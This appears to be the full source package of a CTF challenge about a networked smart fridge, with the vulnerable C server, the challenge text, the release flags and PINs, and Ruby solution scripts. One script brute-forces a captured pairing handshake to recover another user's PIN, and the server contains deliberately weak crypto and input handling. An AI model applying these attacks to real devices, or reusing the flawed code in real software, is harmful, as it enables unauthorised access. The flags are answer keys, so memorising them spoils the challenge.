├── Makefile ├── README.md ├── part2.pcap ├── rate_limiting.sh ├── server.c └── solutions ├── solve1.rb ├── solve2.rb └── solve3.rb /Makefile: -------------------------------------------------------------------------------- 1 | 2 | distribute: server.c 3 | gcc -O1 -DPIN1=\"123456\" -DPIN2=\"123456\" -DFLAG1=\"33C3_NOT_FLAG_1\" -DFLAG2=\"33C3_NOT_FLAG_2\" -DFLAG3=\"33C3_NOT_FLAG_3\" -o server server.c -lssl -lcrypto 4 | 5 | release: server.c 6 | gcc -O1 -DPIN1=\"768305\" -DPIN2=\"482633\" -DFLAG1=\"33C3_s1impl3_4sync_s3rver\" -DFLAG2=\"33C3_sh0rt_p4ssc0de_1s_shOrt\" -DFLAG3=\"33C3_PKCS_7_1s_h4rd_app4r3ntly\" -o server server.c -lssl -lcrypto 7 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Part 1 (RE) 2 | 3 | > We've developed a new smart refrigerator with networking functionality. We have adopted the proven Bluetooth LE 4.0 crypto protocol to secure your food from your flatmates. 4 | > 5 | > There are two lockable shelves. Shelf number 1 belongs to you. Find the fridge at ${SERVERIP}. The pincode for your shelf is 768305. In it you will find the first flag. 6 | > 7 | > Note: this challenge is rate limited 8 | 9 | For this challenge you were given the binary of the smartfridge server. 10 | 11 | # Part 2 (Crypto) 12 | 13 | > Your flatmate told you about this delicious yoghurt that he has put into his shelf. Unfortunately you do not know his pin code. However, you recorded the last time he interacted with the refrigerator. Can you take his yoghurt? 14 | > 15 | > The server is the same as for smartfridge1. 16 | > 17 | > Note: this challenge is rate limited 18 | 19 | For this challenge you were given part2.pcap. 20 | 21 | # Part 3 (Pwn) 22 | 23 | > There seems to be another shelf in the refrigerator... can you open it? 24 | > 25 | > The server is the same as for smartfridge1. 26 | > 27 | > Note: this challenge is rate limited 28 | -------------------------------------------------------------------------------- /part2.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tharina/33c3ctf-smartfridge/84f3c1a81ff2dd7a6e058051b41173f15eb4bb08/part2.pcap -------------------------------------------------------------------------------- /rate_limiting.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Optional: flush existing rules 4 | #sudo iptables -F 5 | #sudo iptables -X 6 | 7 | IFACE=eth0 8 | 9 | SECONDS=60 10 | BLOCKCOUNT=10 11 | sudo iptables -A INPUT -p tcp --dport 12345 -i $IFACE -m state --state NEW -m recent --set 12 | sudo iptables -A INPUT -p tcp --dport 12345 -i $IFACE -m state --state NEW -m recent --update --seconds ${SECONDS} --hitcount ${BLOCKCOUNT} -j REJECT --reject-with tcp-reset 13 | -------------------------------------------------------------------------------- /server.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #define PORT 12345 16 | #define MAX_FDS 1024 17 | #define BACKLOG 32 18 | #define BUFFER_SIZE 132 19 | 20 | 21 | struct pollfd fds[MAX_FDS]; 22 | struct client* clients[MAX_FDS]; 23 | int numfds = 1; 24 | int randfd; 25 | struct fridge fridge; 26 | 27 | 28 | 29 | enum client_state {CONNECTED, CONFIRM_RECEIVED, BOX_CLOSED, BOX_OPEN }; 30 | struct client { 31 | enum client_state state; 32 | unsigned int socket; 33 | struct box* box; 34 | unsigned char srand[16]; 35 | unsigned char mrand[16]; 36 | unsigned char sconfirm[16]; 37 | unsigned char mconfirm[16]; 38 | unsigned char stk[16]; 39 | unsigned char buffer[BUFFER_SIZE]; 40 | unsigned int buffer_offset; 41 | unsigned char aes_buffer[128]; 42 | unsigned char user_id; 43 | }; 44 | 45 | 46 | struct object { 47 | unsigned char name[16]; 48 | unsigned char description[64]; 49 | }; 50 | 51 | struct box { 52 | struct object content[5]; 53 | }; 54 | 55 | struct fridge { 56 | struct box boxes[3]; 57 | unsigned char passcodes[2][7]; 58 | }; 59 | 60 | 61 | void remove_client(int i) { 62 | printf("Disconnecting client %d\n", i); 63 | close(fds[i].fd); 64 | fds[i].fd = fds[numfds-1].fd; 65 | fds[i].events = fds[numfds-1].events; 66 | free(clients[i]); 67 | numfds--; 68 | fds[0].events = POLLIN; 69 | } 70 | 71 | void fridge_setup() { 72 | strcpy(fridge.boxes[0].content[0].name, "cake"); 73 | strcpy(fridge.boxes[0].content[0].description, FLAG3); 74 | strcpy(fridge.boxes[1].content[0].name, "toast"); 75 | strcpy(fridge.boxes[1].content[0].description, FLAG1); 76 | strcpy(fridge.boxes[2].content[0].name, "yoghurt"); 77 | strcpy(fridge.boxes[2].content[0].description, FLAG2); 78 | 79 | strcpy(fridge.passcodes[0], PIN1); 80 | strcpy(fridge.passcodes[1], PIN2); 81 | } 82 | 83 | 84 | 85 | 86 | void new_client(unsigned int i, unsigned int socket) { 87 | clients[i] = (struct client*) malloc(sizeof(struct client)); 88 | clients[i]->buffer_offset = 0; 89 | clients[i]->state = CONNECTED; 90 | clients[i]->socket = socket; 91 | if (read(randfd, clients[i]->srand, 16) != 16) { 92 | perror("Unable to read random bytes"); 93 | exit(EXIT_FAILURE); 94 | } 95 | } 96 | 97 | 98 | void encrypt(const unsigned char* key, const unsigned char* plaintext, unsigned int length, unsigned char* cipher) { 99 | unsigned char iv[AES_BLOCK_SIZE]; 100 | memset(iv, 0x00, AES_BLOCK_SIZE); 101 | AES_KEY enc_key; 102 | AES_set_encrypt_key(key, 128, &enc_key); 103 | AES_cbc_encrypt(plaintext, cipher, length, &enc_key, iv, AES_ENCRYPT); 104 | } 105 | 106 | void decrypt(const unsigned char* key, const unsigned char* cipher, unsigned int length, unsigned char* plaintext) { 107 | unsigned char iv[AES_BLOCK_SIZE]; 108 | memset(iv, 0x00, AES_BLOCK_SIZE); 109 | AES_KEY dec_key; 110 | AES_set_decrypt_key(key, 128, &dec_key); 111 | AES_cbc_encrypt(cipher, plaintext, length, &dec_key, iv, AES_DECRYPT); 112 | } 113 | 114 | void e(const unsigned char* key, const unsigned char* plaintext, unsigned char* cipher) { 115 | AES_KEY enc_key; 116 | AES_set_encrypt_key(key, 128, &enc_key); 117 | AES_encrypt(plaintext, cipher, &enc_key); 118 | } 119 | 120 | void c1(const unsigned char* key, const unsigned char* rand, unsigned char* confirm) { 121 | unsigned long long k[2]; 122 | k[0] = strtoll(key, NULL, 10); 123 | k[1] = 0; 124 | e((unsigned char*) k, rand, confirm); 125 | } 126 | 127 | void s1(const unsigned char* tk, const unsigned char* rand1, const unsigned char* rand2, unsigned char* stk) { 128 | unsigned char r[16]; 129 | memcpy(r, rand1 + 8, 8); 130 | memcpy(r+8, rand2 + 8, 8); 131 | e(tk, r, stk); 132 | } 133 | 134 | 135 | bool send_message(struct client* c, char* msg) { 136 | bool retcode = true; 137 | 138 | unsigned int msglength = strlen(msg); 139 | unsigned int padlength = 16 - (msglength % 16); 140 | unsigned int length = msglength + padlength; 141 | 142 | char* buffer = malloc(length); 143 | memcpy(buffer, msg, msglength); 144 | memset(buffer + msglength, padlength, padlength); 145 | 146 | unsigned char* cipher = malloc(length + 4); 147 | encrypt(c->stk, buffer, length, cipher + 4); 148 | *(int*)cipher = length + 4; 149 | if (send(c->socket, cipher, length + 4, 0) < length) { 150 | perror("Unable to send()"); 151 | retcode = false; 152 | } 153 | 154 | free(buffer); 155 | free(cipher); 156 | 157 | return retcode; 158 | } 159 | 160 | 161 | bool send_item(struct client* c, struct object* o) { 162 | char buf[256]; 163 | memset(buf, 0, 256); 164 | strcat(buf, o->name); 165 | if (strlen(o->name) > 0) 166 | strcat(buf, ": "); 167 | strcat(buf, o->description); 168 | strcat(buf, "\n"); 169 | return send_message(c, buf); 170 | } 171 | 172 | 173 | 174 | bool handle(unsigned int i) { 175 | struct client* c = clients[i]; 176 | 177 | while (true) { 178 | unsigned int size; 179 | if (c->buffer_offset >= 4) { 180 | size = *((unsigned int*)c->buffer); 181 | //printf("Size = %d Received = %d\n", size, c->buffer_offset); 182 | if (size > BUFFER_SIZE) { 183 | return false; 184 | } 185 | if (c->buffer_offset < size) { 186 | return true; 187 | } 188 | } else { 189 | return true; 190 | } 191 | printf("Valid packet of size %d received\n", size); 192 | 193 | unsigned char* data = c->buffer + 4; 194 | 195 | unsigned char* command; 196 | if (c->state != CONNECTED && c->state != CONFIRM_RECEIVED) { 197 | if ((size - 4) % 16 != 0) { 198 | puts("Invalid message length"); 199 | return false; 200 | } 201 | decrypt(c->stk, data, size - 4, c->aes_buffer); 202 | unsigned char padlength = c->aes_buffer[size - 4 - 1]; 203 | if (padlength > 16) { 204 | puts("Invalid padding"); 205 | return false; 206 | } 207 | 208 | c->aes_buffer[size - 4 - padlength] = 0; 209 | command = strtok(c->aes_buffer, " "); 210 | if(command == NULL) { 211 | return false; 212 | } 213 | printf("Command: %s\n", command); 214 | } 215 | 216 | memmove(c->buffer, c->buffer + size, c->buffer_offset - size); 217 | c->buffer_offset -= size; 218 | 219 | switch (c->state) { 220 | case CONNECTED: { 221 | if (size < 21) { 222 | return false; 223 | } 224 | // recv mConfirm and send sConfirm 225 | unsigned char user_id = data[0]; 226 | if(user_id != 1 && user_id != 2) { 227 | return false; 228 | } 229 | c->user_id = user_id; 230 | data = data + 1; 231 | memcpy(c->mconfirm, data, 16); 232 | 233 | puts("Received MConfirm"); 234 | 235 | c1(fridge.passcodes[c->user_id - 1], c->srand, c->sconfirm); 236 | 237 | unsigned char buf[20]; 238 | unsigned int size = 20; 239 | memcpy(buf, &size, 4); 240 | memcpy(buf + 4, c->sconfirm, 16); 241 | 242 | if (send(c->socket, buf, 20, 0) < 20) { 243 | perror("Unable to send()"); 244 | return false; 245 | } 246 | 247 | puts("Sent SConfirm"); 248 | 249 | c->state = CONFIRM_RECEIVED; 250 | break; 251 | } 252 | case CONFIRM_RECEIVED: { 253 | if (size < 20) { 254 | return false; 255 | } 256 | // receive mRand, check mConfirm and send sRand 257 | memcpy(c->mrand, data, 16); 258 | 259 | puts("Received MRand"); 260 | 261 | unsigned char checkmConfirm[16]; 262 | 263 | c1(fridge.passcodes[c->user_id - 1], c->mrand, checkmConfirm); 264 | if (memcmp(checkmConfirm, c->mconfirm, 16) != 0) { 265 | puts("Invalid pincode"); 266 | return false; 267 | } 268 | 269 | puts("MConfirm validated"); 270 | 271 | unsigned char buf[20]; 272 | unsigned int size = 20; 273 | memcpy(buf, &size, 4); 274 | memcpy(buf + 4, c->srand, 16); 275 | if (send(c->socket, buf, 20, 0) < 20) { 276 | perror("Unable to send()"); 277 | return false; 278 | } 279 | 280 | puts("Sent SRand"); 281 | 282 | unsigned long long k[2]; 283 | k[0] = strtoll(fridge.passcodes[c->user_id - 1], NULL, 10); 284 | k[1] = 0; 285 | s1((unsigned char*) k , c->srand, c-> mrand, c->stk); 286 | 287 | c->state = BOX_CLOSED; 288 | puts("Paired"); 289 | break; 290 | } 291 | case BOX_CLOSED: 292 | if (strcmp(command, "OPEN") == 0) { 293 | unsigned char* option = strtok(NULL, " "); 294 | printf("Option: %s\n", option); 295 | if(option != NULL) { 296 | int boxnum = option[0] - '0'; 297 | if (boxnum >= 0 && boxnum <= 2 && boxnum == c->user_id) { 298 | c->box = &fridge.boxes[boxnum]; 299 | } else { 300 | return false; 301 | } 302 | c->state = BOX_OPEN; 303 | } else { 304 | return false; 305 | } 306 | } else { 307 | return false; 308 | } 309 | break; 310 | case BOX_OPEN: 311 | if (strcmp(command, "LIST") == 0) { 312 | char buf[256]; 313 | memset(buf, 0, 256); 314 | for (int i = 0; i < 5; i++) { 315 | buf[strlen(buf)] = '0' + i; 316 | strcat(buf, ". "); 317 | strcat(buf, c->box->content[i].name); 318 | strcat(buf, "\n"); 319 | } 320 | if (!send_message(c, buf)) 321 | return false; 322 | } else if (strcmp(command, "SHOW") == 0) { 323 | unsigned char* option = strtok(NULL, " "); 324 | if(option != NULL) { 325 | int id = option[0] - '0'; 326 | if(id >= 0 && id < 5) { 327 | if(!send_item(c, &(c->box->content[id]))) 328 | return false; 329 | } else { 330 | return false; 331 | } 332 | } else { 333 | return false; 334 | } 335 | } else if (strcmp(command, "TAKE") == 0) { 336 | unsigned char* option = strtok(NULL, " "); 337 | if(option != NULL) { 338 | int id = option[0] - '0'; 339 | if(id > 0 && id < 5) { 340 | if (!send_item(c, &c->box->content[id])) 341 | return false; 342 | memset(&c->box->content[id], 0, sizeof(struct object)); 343 | } else { 344 | return false; 345 | } 346 | } else { 347 | return false; 348 | } 349 | } else if (strcmp(command, "PUT") == 0) { 350 | unsigned char* option = strtok(NULL, " "); 351 | if (option == NULL) 352 | return false; 353 | int id = option[0] - '0'; 354 | if (id < 0 || id > 4) 355 | return false; 356 | unsigned char* name = strtok(NULL, " "); 357 | if (name == NULL || strlen(name) > 15) 358 | return false; 359 | unsigned char* description = strtok(NULL, ""); 360 | if (description == NULL || strlen(description) > 63) 361 | return false; 362 | if (strlen(c->box->content[id].name) == 0) { 363 | strcpy(c->box->content[id].name, name); 364 | strcpy(c->box->content[id].description, description); 365 | } 366 | } else if (strcmp(command, "CLOSE") == 0) { 367 | c->state = BOX_CLOSED; 368 | c->box = NULL; 369 | } else { 370 | return false; 371 | } 372 | 373 | break; 374 | } 375 | } 376 | 377 | return true; 378 | } 379 | 380 | 381 | int init_socket() { 382 | // create socket 383 | int sockfd = socket(AF_INET, SOCK_STREAM, 0); 384 | if (sockfd < 0) { 385 | perror("Unable to create socket."); 386 | exit(EXIT_FAILURE); 387 | } 388 | 389 | // reusable sockfd 390 | int val = 1; 391 | if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (void*) &val, sizeof val) < 0) { 392 | perror("Unable to set socket option REUSEADDR."); 393 | exit(EXIT_FAILURE); 394 | } 395 | 396 | // bind socket 397 | struct sockaddr_in addr; 398 | addr.sin_family = AF_INET; 399 | addr.sin_addr.s_addr = INADDR_ANY; 400 | addr.sin_port = htons(PORT); 401 | if (bind(sockfd, (struct sockaddr*) &addr, sizeof(addr)) < 0) { 402 | close(sockfd); 403 | perror("Unable to bind socket."); 404 | exit(EXIT_FAILURE); 405 | } 406 | 407 | // set backlog 408 | if (listen(sockfd, BACKLOG) < 0) { 409 | close(sockfd); 410 | perror("Unable to set backlog."); 411 | exit(EXIT_FAILURE); 412 | } 413 | 414 | return sockfd; 415 | } 416 | 417 | 418 | 419 | 420 | 421 | 422 | int main() { 423 | fridge_setup(); 424 | 425 | randfd = open("/dev/urandom", O_RDONLY); 426 | 427 | int sockfd = init_socket(); 428 | 429 | // init poll() datastructure with listening socket 430 | fds[0].fd = sockfd; 431 | fds[0].events = POLLIN; 432 | 433 | // poll loop 434 | do { 435 | int r = poll(fds, numfds, -1); 436 | if (r < 0) { 437 | close(sockfd); 438 | perror("poll() failed."); 439 | exit(EXIT_FAILURE); 440 | } else if (r == 0) { 441 | // timeout 442 | } else { 443 | // check for incoming connections 444 | if (fds[0].revents & POLLIN) { 445 | fds[0].revents = 0; 446 | if (numfds < MAX_FDS) { 447 | int newsockfd = accept(sockfd, NULL, NULL); 448 | if (newsockfd < 0) { 449 | perror("Unable to create socket for incoming connection"); 450 | exit(EXIT_FAILURE); 451 | } 452 | fds[numfds].fd = newsockfd; 453 | fds[numfds].events = POLLIN; 454 | new_client(numfds, newsockfd); 455 | numfds++; 456 | } else { 457 | fds[0].events = 0; 458 | } 459 | } 460 | 461 | // handle incoming data 462 | for (int i = 1; i < numfds; i++) { 463 | if (fds[i].revents & POLLIN) { 464 | printf("Data received on %d\n", i); 465 | fds[i].revents = 0; 466 | struct client* c = clients[i]; 467 | int r = recv(fds[i].fd, c->buffer + c->buffer_offset, BUFFER_SIZE - c->buffer_offset, 0); 468 | if (r <= 0) { 469 | remove_client(i); 470 | break; 471 | } else { 472 | c->buffer_offset += r; 473 | if (!handle(i)) { 474 | remove_client(i); 475 | break; 476 | } 477 | } 478 | } 479 | } 480 | } 481 | } while (true); 482 | } 483 | -------------------------------------------------------------------------------- /solutions/solve1.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | require 'socket' 4 | require 'openssl' 5 | require 'securerandom' 6 | 7 | SERVER_IP = 'localhost' 8 | SERVER_PORT = 12345 9 | 10 | PIN = "768305" 11 | 12 | 13 | def e k, plaintext 14 | cipher = OpenSSL::Cipher.new 'AES-128-ECB' 15 | cipher.encrypt 16 | cipher.key = k 17 | cipher.padding = 0 18 | 19 | cipher.update(plaintext) + cipher.final 20 | end 21 | 22 | def encrypt k, plaintext 23 | cipher = OpenSSL::Cipher.new 'AES-128-CBC' 24 | cipher.encrypt 25 | cipher.key = k 26 | cipher.iv = "\x00" * 16 27 | 28 | cipher.update(plaintext) + cipher.final 29 | end 30 | 31 | def encrypt_without_padding k, plaintext 32 | cipher = OpenSSL::Cipher.new 'AES-128-CBC' 33 | cipher.encrypt 34 | cipher.key = k 35 | cipher.iv = "\x00" * 16 36 | cipher.padding = 0 37 | 38 | cipher.update(plaintext) + cipher.final 39 | end 40 | 41 | def decrypt k, ciphertext 42 | decipher = OpenSSL::Cipher.new 'AES-128-CBC' 43 | decipher.decrypt 44 | decipher.key = k 45 | decipher.iv = "\x00" * 16 46 | 47 | decipher.update(ciphertext) + decipher.final 48 | end 49 | 50 | def c1 tk, rand 51 | e(tk, rand) 52 | end 53 | 54 | def s1 tk, rand1, rand2 55 | r = rand1[8..15] + rand2[8..15] 56 | e tk, r 57 | end 58 | 59 | class TCPSocket 60 | def recvn(n, flags=0) 61 | res = "" 62 | while res.size < n 63 | res << self.recv(n - res.size, flags) 64 | end 65 | res 66 | end 67 | end 68 | 69 | 70 | def open i 71 | puts "Opening shelf #{i}" 72 | data = "OPEN #{i}" 73 | enc = encrypt $stk, data 74 | p = [enc.size + 4].pack("I") + enc 75 | $s.send p, 0 76 | puts "-------------------------------------" 77 | end 78 | 79 | def close 80 | puts "Closing shelf" 81 | data = "CLOSE" 82 | enc = encrypt $stk, data 83 | p = [enc.size + 4].pack("I") + enc 84 | $s.send p, 0 85 | puts "-------------------------------------" 86 | end 87 | 88 | 89 | def list 90 | puts "Content:" 91 | data = "LIST" 92 | enc = encrypt $stk, data 93 | p = [enc.size + 4].pack("I") + enc 94 | $s.send p, 0 95 | 96 | size = $s.recvn(4).unpack("I").first 97 | p size 98 | answer = $s.recvn(size - 4) 99 | dec = decrypt($stk, answer) 100 | puts dec 101 | puts "-------------------------------------" 102 | end 103 | 104 | def show i 105 | puts "Showing item in slot #{i}" 106 | data = "SHOW #{i}" 107 | enc = encrypt $stk, data 108 | p = [enc.size + 4].pack("I") + enc 109 | $s.send p, 0 110 | 111 | size = $s.recvn(4).unpack("I").first 112 | answer = $s.recvn(size - 4) 113 | dec = decrypt($stk, answer) 114 | puts dec 115 | puts "-------------------------------------" 116 | end 117 | 118 | def put i, name, description 119 | puts "Putting #{name} into slot #{i}" 120 | data = "PUT #{i} #{name} #{description}" 121 | enc = encrypt $stk, data 122 | p = [enc.size + 4].pack("I") + enc 123 | $s.send p, 0 124 | puts "-------------------------------------" 125 | end 126 | 127 | def take i 128 | puts "Taking item from slot #{i}" 129 | data = "TAKE #{i}" 130 | enc = encrypt $stk, data 131 | p = [enc.size + 4].pack("I") + enc 132 | $s.send p, 0 133 | 134 | size = $s.recvn(4).unpack("I").first 135 | answer = $s.recvn(size - 4) 136 | dec = decrypt($stk, answer) 137 | puts dec 138 | puts "-------------------------------------" 139 | end 140 | 141 | 142 | 143 | $s = TCPSocket.new SERVER_IP, SERVER_PORT 144 | 145 | puts "Connected" 146 | 147 | passcode = PIN 148 | tk = [passcode.to_i(10), 0].pack("QQ") 149 | 150 | 151 | mRand = SecureRandom.random_bytes 16 152 | p "mRand: " + mRand.unpack("H*").first 153 | mConfirm = c1(tk, mRand) 154 | p "mConfirm: " + mConfirm.unpack("H*").first 155 | 156 | 157 | p = ([21].pack("I") + "\x1" + mConfirm) 158 | $s.send p, 0 159 | sConfirm = $s.recvn 20 160 | sConfirm = sConfirm[4...20] 161 | p "sConfirm: " + sConfirm.unpack("H*").first 162 | 163 | p = ([20].pack("I") + mRand) 164 | $s.send p, 0 165 | sRand = $s.recvn 20 166 | sRand = sRand[4...20] 167 | p "sRand: " + sRand.unpack("H*").first 168 | 169 | sConfirmCheck = c1(tk, sRand) 170 | p "Check: " + sConfirmCheck.unpack("H*").first 171 | if(sConfirmCheck == sConfirm) 172 | $stk = s1(tk, sRand, mRand) 173 | p "STK: " + $stk.unpack("H*").first 174 | puts "Paired" 175 | else 176 | puts "Pairing failed" 177 | exit 178 | end 179 | 180 | 181 | puts "-------------------------------------" 182 | 183 | open 1 184 | list 185 | show 0 186 | -------------------------------------------------------------------------------- /solutions/solve2.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | require 'socket' 4 | require 'openssl' 5 | require 'securerandom' 6 | 7 | SERVER_IP = 'localhost' 8 | SERVER_PORT = 12345 9 | 10 | def e k, plaintext 11 | cipher = OpenSSL::Cipher.new 'AES-128-ECB' 12 | cipher.encrypt 13 | cipher.key = k 14 | cipher.padding = 0 15 | 16 | cipher.update(plaintext) + cipher.final 17 | end 18 | 19 | def encrypt k, plaintext 20 | cipher = OpenSSL::Cipher.new 'AES-128-CBC' 21 | cipher.encrypt 22 | cipher.key = k 23 | cipher.iv = "\x00" * 16 24 | 25 | cipher.update(plaintext) + cipher.final 26 | end 27 | 28 | def encrypt_without_padding k, plaintext 29 | cipher = OpenSSL::Cipher.new 'AES-128-CBC' 30 | cipher.encrypt 31 | cipher.key = k 32 | cipher.iv = "\x00" * 16 33 | cipher.padding = 0 34 | 35 | cipher.update(plaintext) + cipher.final 36 | end 37 | 38 | def decrypt k, ciphertext 39 | decipher = OpenSSL::Cipher.new 'AES-128-CBC' 40 | decipher.decrypt 41 | decipher.key = k 42 | decipher.iv = "\x00" * 16 43 | 44 | decipher.update(ciphertext) + decipher.final 45 | end 46 | 47 | def c1 tk, rand 48 | e(tk, rand) 49 | end 50 | 51 | def s1 tk, rand1, rand2 52 | r = rand1[8..15] + rand2[8..15] 53 | e tk, r 54 | end 55 | 56 | class TCPSocket 57 | def recvn(n, flags=0) 58 | res = "" 59 | while res.size < n 60 | res << self.recv(n - res.size, flags) 61 | end 62 | res 63 | end 64 | end 65 | 66 | 67 | def open i 68 | puts "Opening shelf #{i}" 69 | data = "OPEN #{i}" 70 | enc = encrypt $stk, data 71 | p = [enc.size + 4].pack("I") + enc 72 | $s.send p, 0 73 | puts "-------------------------------------" 74 | end 75 | 76 | def close 77 | puts "Closing shelf" 78 | data = "CLOSE" 79 | enc = encrypt $stk, data 80 | p = [enc.size + 4].pack("I") + enc 81 | $s.send p, 0 82 | puts "-------------------------------------" 83 | end 84 | 85 | 86 | def list 87 | puts "Content:" 88 | data = "LIST" 89 | enc = encrypt $stk, data 90 | p = [enc.size + 4].pack("I") + enc 91 | $s.send p, 0 92 | 93 | size = $s.recvn(4).unpack("I").first 94 | p size 95 | answer = $s.recvn(size - 4) 96 | dec = decrypt($stk, answer) 97 | puts dec 98 | puts "-------------------------------------" 99 | end 100 | 101 | def show i 102 | puts "Showing item in slot #{i}" 103 | data = "SHOW #{i}" 104 | enc = encrypt $stk, data 105 | p = [enc.size + 4].pack("I") + enc 106 | $s.send p, 0 107 | 108 | size = $s.recvn(4).unpack("I").first 109 | answer = $s.recvn(size - 4) 110 | dec = decrypt($stk, answer) 111 | puts dec 112 | puts "-------------------------------------" 113 | end 114 | 115 | def put i, name, description 116 | puts "Putting #{name} into slot #{i}" 117 | data = "PUT #{i} #{name} #{description}" 118 | enc = encrypt $stk, data 119 | p = [enc.size + 4].pack("I") + enc 120 | $s.send p, 0 121 | puts "-------------------------------------" 122 | end 123 | 124 | def take i 125 | puts "Taking item from slot #{i}" 126 | data = "TAKE #{i}" 127 | enc = encrypt $stk, data 128 | p = [enc.size + 4].pack("I") + enc 129 | $s.send p, 0 130 | 131 | size = $s.recvn(4).unpack("I").first 132 | answer = $s.recvn(size - 4) 133 | dec = decrypt($stk, answer) 134 | puts dec 135 | puts "-------------------------------------" 136 | end 137 | 138 | 139 | 140 | $s = TCPSocket.new SERVER_IP, SERVER_PORT 141 | 142 | puts "Connected" 143 | 144 | 145 | # extracted from pcap 146 | mConfirm = ["e66d09aaad15d191b6fa3a474e98a46c"].pack("H*") 147 | sConfirm = ["ccca69ed88dcdbb88c3b18c0baecd436"].pack("H*") 148 | mRand = ["3119f45f7499cda007670b2f51fd4127"].pack("H*") 149 | sRand = ["d01d9f62f9e00c55b9dda4083c12b7fb"].pack("H*") 150 | 151 | puts "Offline bruteforcing passcode for shelf 2" 152 | digits = ['0','1','2','3','4','5', '6','7','8','9'] 153 | passcode = "" 154 | for p in digits.repeated_permutation(6) do 155 | passcode = p.join("") 156 | tk = [passcode.to_i(10), 0].pack("QQ") 157 | if c1(tk, mRand) == mConfirm 158 | puts "Found passcode: #{passcode}" 159 | break 160 | end 161 | end 162 | 163 | 164 | 165 | mRand = SecureRandom.random_bytes 16 166 | p "mRand: " + mRand.unpack("H*").first 167 | mConfirm = c1(tk, mRand) 168 | p "mConfirm: " + mConfirm.unpack("H*").first 169 | 170 | # set userID 2 171 | p = ([21].pack("I") + "\x2" + mConfirm) 172 | $s.send p, 0 173 | sConfirm = $s.recvn 20 174 | sConfirm = sConfirm[4...20] 175 | p "sConfirm: " + sConfirm.unpack("H*").first 176 | 177 | p = ([20].pack("I") + mRand) 178 | $s.send p, 0 179 | sRand = $s.recvn 20 180 | sRand = sRand[4...20] 181 | p "sRand: " + sRand.unpack("H*").first 182 | 183 | sConfirmCheck = c1(tk, sRand) 184 | p "Check: " + sConfirmCheck.unpack("H*").first 185 | if(sConfirmCheck == sConfirm) 186 | $stk = s1(tk, sRand, mRand) 187 | p "STK: " + $stk.unpack("H*").first 188 | puts "Paired" 189 | else 190 | puts "Pairing failed" 191 | exit 192 | end 193 | 194 | 195 | puts "-------------------------------------" 196 | 197 | open 2 198 | list 199 | show 0 200 | -------------------------------------------------------------------------------- /solutions/solve3.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | require 'socket' 4 | require 'openssl' 5 | require 'securerandom' 6 | 7 | SERVER_IP = 'localhost' 8 | SERVER_PORT = 12345 9 | 10 | PIN = "768305" 11 | 12 | 13 | def e k, plaintext 14 | cipher = OpenSSL::Cipher.new 'AES-128-ECB' 15 | cipher.encrypt 16 | cipher.key = k 17 | cipher.padding = 0 18 | 19 | cipher.update(plaintext) + cipher.final 20 | end 21 | 22 | def encrypt k, plaintext 23 | cipher = OpenSSL::Cipher.new 'AES-128-CBC' 24 | cipher.encrypt 25 | cipher.key = k 26 | cipher.iv = "\x00" * 16 27 | 28 | cipher.update(plaintext) + cipher.final 29 | end 30 | 31 | def encrypt_without_padding k, plaintext 32 | cipher = OpenSSL::Cipher.new 'AES-128-CBC' 33 | cipher.encrypt 34 | cipher.key = k 35 | cipher.iv = "\x00" * 16 36 | cipher.padding = 0 37 | 38 | cipher.update(plaintext) + cipher.final 39 | end 40 | 41 | def decrypt k, ciphertext 42 | decipher = OpenSSL::Cipher.new 'AES-128-CBC' 43 | decipher.decrypt 44 | decipher.key = k 45 | decipher.iv = "\x00" * 16 46 | 47 | decipher.update(ciphertext) + decipher.final 48 | end 49 | 50 | def c1 tk, rand 51 | e(tk, rand) 52 | end 53 | 54 | def s1 tk, rand1, rand2 55 | r = rand1[8..15] + rand2[8..15] 56 | e tk, r 57 | end 58 | 59 | class TCPSocket 60 | def recvn(n, flags=0) 61 | res = "" 62 | while res.size < n 63 | res << self.recv(n - res.size, flags) 64 | end 65 | res 66 | end 67 | end 68 | 69 | 70 | def open i 71 | puts "Opening shelf #{i}" 72 | data = "OPEN #{i}" 73 | enc = encrypt $stk, data 74 | p = [enc.size + 4].pack("I") + enc 75 | $s.send p, 0 76 | puts "-------------------------------------" 77 | end 78 | 79 | def close 80 | puts "Closing shelf" 81 | data = "CLOSE" 82 | enc = encrypt $stk, data 83 | p = [enc.size + 4].pack("I") + enc 84 | $s.send p, 0 85 | puts "-------------------------------------" 86 | end 87 | 88 | 89 | def list 90 | puts "Content:" 91 | data = "LIST" 92 | enc = encrypt $stk, data 93 | p = [enc.size + 4].pack("I") + enc 94 | $s.send p, 0 95 | 96 | size = $s.recvn(4).unpack("I").first 97 | p size 98 | answer = $s.recvn(size - 4) 99 | dec = decrypt($stk, answer) 100 | puts dec 101 | puts "-------------------------------------" 102 | end 103 | 104 | def show i 105 | puts "Showing item in slot #{i}" 106 | data = "SHOW #{i}" 107 | enc = encrypt $stk, data 108 | p = [enc.size + 4].pack("I") + enc 109 | $s.send p, 0 110 | 111 | size = $s.recvn(4).unpack("I").first 112 | answer = $s.recvn(size - 4) 113 | dec = decrypt($stk, answer) 114 | puts dec 115 | puts "-------------------------------------" 116 | end 117 | 118 | def put i, name, description 119 | puts "Putting #{name} into slot #{i}" 120 | data = "PUT #{i} #{name} #{description}" 121 | enc = encrypt $stk, data 122 | p = [enc.size + 4].pack("I") + enc 123 | $s.send p, 0 124 | puts "-------------------------------------" 125 | end 126 | 127 | def take i 128 | puts "Taking item from slot #{i}" 129 | data = "TAKE #{i}" 130 | enc = encrypt $stk, data 131 | p = [enc.size + 4].pack("I") + enc 132 | $s.send p, 0 133 | 134 | size = $s.recvn(4).unpack("I").first 135 | answer = $s.recvn(size - 4) 136 | dec = decrypt($stk, answer) 137 | puts dec 138 | puts "-------------------------------------" 139 | end 140 | 141 | 142 | 143 | $s = TCPSocket.new SERVER_IP, SERVER_PORT 144 | 145 | puts "Connected" 146 | 147 | passcode = PIN 148 | tk = [passcode.to_i(10), 0].pack("QQ") 149 | 150 | 151 | mRand = SecureRandom.random_bytes 16 152 | p "mRand: 